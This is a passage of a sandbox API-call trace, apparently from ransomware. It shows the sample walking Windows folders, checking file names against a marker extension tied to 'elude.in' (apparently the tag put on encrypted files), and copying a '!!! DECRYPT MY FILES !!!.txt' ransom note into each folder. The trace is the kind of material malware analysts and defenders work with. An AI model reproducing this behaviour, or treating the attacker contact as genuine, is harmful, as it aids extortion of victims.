| out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.996] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0086.996] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", len=0x28 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 1 [0086.996] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", cchLength=0x28 | out: lpsz="c:\\$getcurrent\\safeos\\getcurrentoobe.dll") returned 0x28 [0086.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0086.996] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0086.996] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0086.996] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0086.996] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\safeos\\getcurrentoobe.dll", psz="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", len=0x2c | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 1 [0086.996] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", cchLength=0x2c | out: lpsz="c:\\$getcurrent\\safeos\\getcurrentrollback.ini") returned 0x2c [0086.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0086.997] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0086.997] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0086.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0086.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0086.997] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x54acc791, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0086.997] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0086.997] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\$getcurrent\\safeos\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.000] GetProcessHeap () returned 0x630000 [0087.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b11f0 [0087.001] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0087.001] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\safeos\\getcurrentrollback.ini", psz="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", len=0x2e | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 1 [0087.001] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", cchLength=0x2e | out: lpsz="c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd") returned 0x2e [0087.001] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.001] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.001] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.001] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.001] GetProcessHeap () returned 0x630000 [0087.001] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b11f0, Size=0x10) returned 0x6b1208 [0087.001] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0087.001] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd", psz="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", len=0x21 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 1 [0087.002] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\preoobe.cmd", cchLength=0x21 | out: lpsz="c:\\$getcurrent\\safeos\\preoobe.cmd") returned 0x21 [0087.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.002] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.002] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.002] GetProcessHeap () returned 0x630000 [0087.002] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x14) returned 0x6b01f8 [0087.002] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0087.002] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\$getcurrent\\safeos\\preoobe.cmd", psz="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", len=0x27 | out: pbstr=0x6ebf398*="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 1 [0087.002] CharLowerBuffW (in: lpsz="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", cchLength=0x27 | out: lpsz="c:\\$getcurrent\\safeos\\setupcomplete.cmd") returned 0x27 [0087.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.002] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.002] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.003] GetProcessHeap () returned 0x630000 [0087.003] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x18) returned 0x6b02b8 [0087.003] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.003] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.003] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.003] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.003] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0087.004] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\$Recycle.Bin\\", len=0x10 | out: pbstr=0x6ebf668*="C:\\$Recycle.Bin\\") returned 1 [0087.004] CharLowerBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="c:\\$recycle.bin\\") returned 0x10 [0087.004] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.004] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.004] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0087.004] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.004] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0087.004] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-18\\", len=0x19 | out: pbstr=0x6ebf3a0*="C:\\$Recycle.Bin\\S-1-5-18\\") returned 1 [0087.004] CharLowerBuffW (in: lpsz="C:\\$Recycle.Bin\\S-1-5-18\\", cchLength=0x19 | out: lpsz="c:\\$recycle.bin\\s-1-5-18\\") returned 0x19 [0087.004] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.004] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.005] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0087.005] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.005] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.005] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini", len=0x24 | out: pbstr=0x6ebf398*="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 1 [0087.005] CharLowerBuffW (in: lpsz="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini", cchLength=0x24 | out: lpsz="c:\\$recycle.bin\\s-1-5-18\\desktop.ini") returned 0x24 [0087.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.005] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.005] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.006] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xae73cae3, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5340 [0087.006] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0087.006] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-18\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.010] GetProcessHeap () returned 0x630000 [0087.010] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x1c) returned 0x6e8fb8 [0087.010] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.010] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.010] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.010] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", len=0x3e | out: pbstr=0x6ebf3a0*="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned 1 [0087.010] CharLowerBuffW (in: lpsz="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", cchLength=0x3e | out: lpsz="c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\") returned 0x3e [0087.011] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.011] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.011] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5380 [0087.011] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.011] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.012] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", len=0x49 | out: pbstr=0x6ebf398*="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 1 [0087.012] CharLowerBuffW (in: lpsz="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", cchLength=0x49 | out: lpsz="c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 0x49 [0087.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.012] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: 